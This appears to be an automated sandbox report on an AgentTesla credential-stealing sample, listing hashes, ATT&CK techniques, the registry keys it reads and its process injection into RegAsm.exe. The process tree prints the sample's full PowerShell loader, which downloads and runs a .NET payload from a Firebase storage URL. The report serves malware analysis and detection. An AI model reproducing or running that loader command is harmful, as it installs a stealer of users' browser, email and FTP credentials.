agenttesla | d607fc8cdc1aa81ee11f86a3a51c46af853429c1dd00b1bfb038d78c76e1b669

General

Target

eme-Payload.js
Size

141KB
MD5

adc3fe6a08ccde24e217982af6dc2d1c
SHA1

d3d54cc2afbea3527998f9987cdce81574af353a
SHA256

d607fc8cdc1aa81ee11f86a3a51c46af853429c1dd00b1bfb038d78c76e1b669
SHA512

231df84ee856d828d132a06bd28cef2b16875780f9b5a06ef6b77e6437fd22bbbfa2b0dc9ff491b118efcb3e6058dec779a23ce2de8b12405bccae378e16a4a6
SSDEEP

3072:LDpHfpbT1AJM/EaZ8ok36/EIxbT1AJM/EaZ8ok36/EI4+ZQSU2bokXPXliq3kJIN:fbZ0M/EaZ8ok36RxbZ0M/EaZ8ok36Rf/

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/rumpe_js.txt?alt=media&token=0ebb3747-9f9d-427c-a6fd-d0c057ba176e

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2716	powershell.exe
12	2716	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
18	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2716 set thread context of 1260	2716	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2716	powershell.exe
2716	powershell.exe
2716	powershell.exe
2716	powershell.exe
1260	RegAsm.exe
1260	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	1260	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1260	RegAsm.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 2716	2144	wscript.exe	84
PID 2144 wrote to memory of 2716	2144	wscript.exe	84
PID 2716 wrote to memory of 3332	2716	powershell.exe	86
PID 2716 wrote to memory of 3332	2716	powershell.exe	86
PID 2716 wrote to memory of 3332	2716	powershell.exe	86
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87
PID 2716 wrote to memory of 1260	2716	powershell.exe	87

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\eme-Payload.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/rumpe_js.txt?alt=media&token=0ebb3747-9f9d-427c-a6fd-d0c057ba176e'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('∞*▲◀(lifmaf∞*▲◀(m∞*▲◀(4*●*☞#:▶s∞*▲◀(lif4*●*☞#:▶758764}�ø▶6](∞ú(∞*▲◀(74}�ø▶0f6*(+ø(33896](∞ú(3683∞*▲◀(9*(+ø(4}�ø▶85∞*▲◀(a*(+ø(7](∞ú(53∞*▲◀(a4*●*☞#:▶9◀@+@░�@@6∞*▲◀(ER4*●*☞#:▶olylni∞*▲◀(mnuom4*●*☞#:▶sø☀☞√�}П�∞*▲◀(ppins4*●*☞#:▶0.(úø(@@*ú4*●*☞#:▶ipa!4*●*☞#:▶gro.ø☀☞√�}П�∞*▲◀(k!}(ú░}u*(+ø(ø☀☞√�}П�i*(+ø(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀spø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - outlook_office_path
    - outlook_win_path
    PID:1260

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

1

T1102

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_otkgcgvy.k3m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1260-152-0x0000000006C10000-0x0000000006C60000-memory.dmp

Filesize
320KB

Download
memory/1260-146-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/1260-149-0x0000000005CE0000-0x0000000006284000-memory.dmp

Filesize
5.6MB

Download
memory/1260-150-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/1260-151-0x00000000056A0000-0x00000000056B0000-memory.dmp

Filesize
64KB

Download
memory/1260-153-0x0000000006E30000-0x0000000006FF2000-memory.dmp

Filesize
1.8MB

Download
memory/1260-160-0x0000000006D80000-0x0000000006E12000-memory.dmp

Filesize
584KB

Download
memory/1260-161-0x0000000006D40000-0x0000000006D4A000-memory.dmp

Filesize
40KB

Download
memory/1260-162-0x00000000056A0000-0x00000000056B0000-memory.dmp

Filesize
64KB

Download
memory/2716-134-0x000001AFBF210000-0x000001AFBF232000-memory.dmp

Filesize
136KB

Download
memory/2716-144-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp

Filesize
64KB

Download
memory/2716-145-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp

Filesize
64KB

Download
memory/2716-133-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp

Filesize
64KB

Download

Analysis

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